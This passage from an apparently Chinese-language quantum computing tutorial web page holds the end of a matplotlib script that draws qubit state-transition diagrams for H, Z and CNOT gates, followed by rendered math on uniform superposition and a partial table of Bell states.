class="token punctuation">)</span><span class="token comment"># 2. 僅在「最左邊」與「最右邊」標註狀態標籤</span><span class="token keyword">for</span> lbl<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">:</span>    ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.15</span><span class="token punctuation">,</span> y<span class="token punctuation">,</span> lbl<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'right'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">14</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span>    ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span><span class="token number">4.15</span><span class="token punctuation">,</span> y<span class="token punctuation">,</span> lbl<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'left'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">14</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span><span class="token comment"># 3. 定義每個時間段的箭頭映射關係 (start_label, end_label, color)</span><span class="token comment"># Step 1: H_q0 (x=0 -> x=1)</span>step1 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 2: H_q1 (x=1 -> x=2)</span>step2 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>         <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 3: Z_q1 (x=2 -> x=3)</span>step3 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>         <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 4: CNOT (x=3 -> x=4)</span>step4 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>         <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span>all_steps <span class="token operator">=</span> <span class="token punctuation">[</span>step1<span class="token punctuation">,</span> step2<span class="token punctuation">,</span> step3<span class="token punctuation">,</span> step4<span class="token punctuation">]</span><span class="token comment"># 4. 繪製穿梭在節點間的彩色箭頭</span><span class="token keyword">for</span> idx<span class="token punctuation">,</span> step_connections <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>all_steps<span class="token punctuation">)</span><span class="token punctuation">:</span>    x_start <span class="token operator">=</span> x_positions<span class="token punctuation">[</span>idx<span class="token punctuation">]</span>    x_end <span class="token operator">=</span> x_positions<span class="token punctuation">[</span>idx <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span>    <span class="token keyword">for</span> start_lbl<span class="token punctuation">,</span> end_lbl<span class="token punctuation">,</span> color_key <span class="token keyword">in</span> step_connections<span class="token punctuation">:</span>        sy <span class="token operator">=</span> label_to_y<span class="token punctuation">[</span>start_lbl<span class="token punctuation">]</span>        ey <span class="token operator">=</span> label_to_y<span class="token punctuation">[</span>end_lbl<span class="token punctuation">]</span>        color <span class="token operator">=</span> COLOR_MAP<span class="token punctuation">[</span>color_key<span class="token punctuation">]</span>        ax<span class="token punctuation">.</span>annotate<span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">,</span> xy<span class="token operator">=</span><span class="token punctuation">(</span>x_end<span class="token punctuation">,</span> ey<span class="token punctuation">)</span><span class="token punctuation">,</span> xytext<span class="token operator">=</span><span class="token punctuation">(</span>x_start<span class="token punctuation">,</span> sy<span class="token punctuation">)</span><span class="token punctuation">,</span>                    arrowprops<span class="token operator">=</span><span class="token builtin">dict</span><span class="token punctuation">(</span>arrowstyle<span class="token operator">=</span><span class="token string">"->"</span><span class="token punctuation">,</span> color<span class="token operator">=</span>color<span class="token punctuation">,</span> lw<span class="token operator">=</span><span class="token number">3</span><span class="token punctuation">,</span> shrinkA<span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">,</span> shrinkB<span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 5. 在每一段的上方中央對齊標註 Gate Name</span>gate_names <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"$H_&#123;q_0&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"$H_&#123;q_1&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"$Z_&#123;q_1&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"CNOT"</span><span class="token punctuation">]</span><span class="token keyword">for</span> idx<span class="token punctuation">,</span> name <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>gate_names<span class="token punctuation">)</span><span class="token punctuation">:</span>    x_center <span class="token operator">=</span> <span class="token punctuation">(</span>x_positions<span class="token punctuation">[</span>idx<span class="token punctuation">]</span> <span class="token operator">+</span> x_positions<span class="token punctuation">[</span>idx <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">2</span>    ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span>x_center<span class="token punctuation">,</span> <span class="token number">3.6</span><span class="token punctuation">,</span> name<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'bottom'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">14</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span><span class="token comment"># 微調畫布邊界並關閉座標軸</span>ax<span class="token punctuation">.</span>set_xlim<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.6</span><span class="token punctuation">,</span> <span class="token number">4.6</span><span class="token punctuation">)</span>ax<span class="token punctuation">.</span>set_ylim<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.5</span><span class="token punctuation">,</span> <span class="token number">4.0</span><span class="token punctuation">)</span>ax<span class="token punctuation">.</span>axis<span class="token punctuation">(</span><span class="token string">'off'</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>tight_layout<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment"># 匯出成高解析度、透明背景的網頁圖檔</span>plt<span class="token punctuation">.</span>savefig<span class="token punctuation">(</span><span class="token string">'maze_combined.png'</span><span class="token punctuation">,</span> bbox_inches<span class="token operator">=</span><span class="token string">'tight'</span><span class="token punctuation">,</span> dpi<span class="token operator">=</span><span class="token number">300</span><span class="token punctuation">,</span> transparent<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"一體化演進迷宮圖已成功生成：maze_combined.png"</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></details><h2 id="%E5%B8%B8%E7%94%A8%E7%9A%84%E9%87%8F%E5%AD%90%E6%85%8B%E8%A3%BD%E4%BD%9C" tabindex="-1" id="常用的量子態製作">常用的量子態製作</h2><h3 id="%E5%B9%B3%E5%9D%87%E7%96%8A%E5%8A%A0%E6%85%8B" tabindex="-1" id="平均疊加態">平均疊加態</h3><p>對每個 qubits 都上 H Gate：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>H</mi><mrow><mo>⊗</mo><mi>n</mi></mrow></msup><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo>⋯</mo><mn>0</mn><mo stretchy="false">⟩</mo><mo>=</mo><mi>H</mi><mo>⊗</mo><mi>H</mi><mo>⊗</mo><mo>⋯</mo><mo>⊗</mo><mi>H</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo>⋯</mo><mn>0</mn><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><msup><mn>2</mn><mi>n</mi></msup></msqrt></mfrac><munder><mo>∑</mo><mrow><mi>x</mi><mo>∈</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><msup><mo stretchy="false">}</mo><mi>n</mi></msup></mrow></munder><mi mathvariant="normal">∣</mi><mrow></mrow><mi>x</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">H^{\otimes n}\vert{}0\cdots 0\rangle = H\otimes H\otimes\cdots\otimes H \vert{}0\cdots0\rangle = \frac{1}{\sqrt{2^n}}\sum\limits_{x\in\{0,1\}^n} \vert{}x\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0713em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8213em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">⊗</span><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.8374em;vertical-align:-1.516em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5904em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.05em;"><span style="top:-1.809em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="mrel mtight">∈</span><span class="mopen mtight">{</span><span class="mord mtight">0</span><span class="mpunct mtight">,</span><span class="mord mtight">1</span><span class="mclose mtight"><span class="mclose mtight">}</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5935em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.516em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">x</span><span class="mclose">⟩</span></span></span></span></span></p><h3 id="%E7%B3%BE%E7%BA%8F%E6%85%8B%EF%BC%9Abell-state" tabindex="-1" id="糾纏態：Bell-State">糾纏態：Bell State</h3><table><thead><tr><th>Bell State</th><th style="text-align:center">Quantum circuit</th></tr></thead><tbody><tr><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ϕ</mi><mo>+</mo><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}\phi+\rangle = \frac{1}{\sqrt2}\left(\vert{}00\rangle+\vert{}11\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">ϕ</span><span class="mord">+</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;">2</span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></td><td style="text-align:center"><img src="2026-07-18-19-45-28.png" alt="phi+"></td></tr><tr><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ϕ</mi><mo>−</mo><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}\phi-\rangle = \frac{1}{\sqrt2}\left(\vert{}00\rangle-\vert{}11\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">ϕ</span><span class="mord">−</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;">2</span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></td><td style="text-align:center"><img src="2026-07-18-19-46-38.png" alt="phi-"></td></tr><tr><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo>+</mo><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}\psi+\rangle = \frac{1}{\sqrt2}\left(\vert{}01\rangle+\vert{}10\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mord">+</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;">2</span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></td><td style="text-align:center"><img src="2026-07-18-19-47-20.png" alt="psi+"></td></tr><tr><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo>−</mo><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo 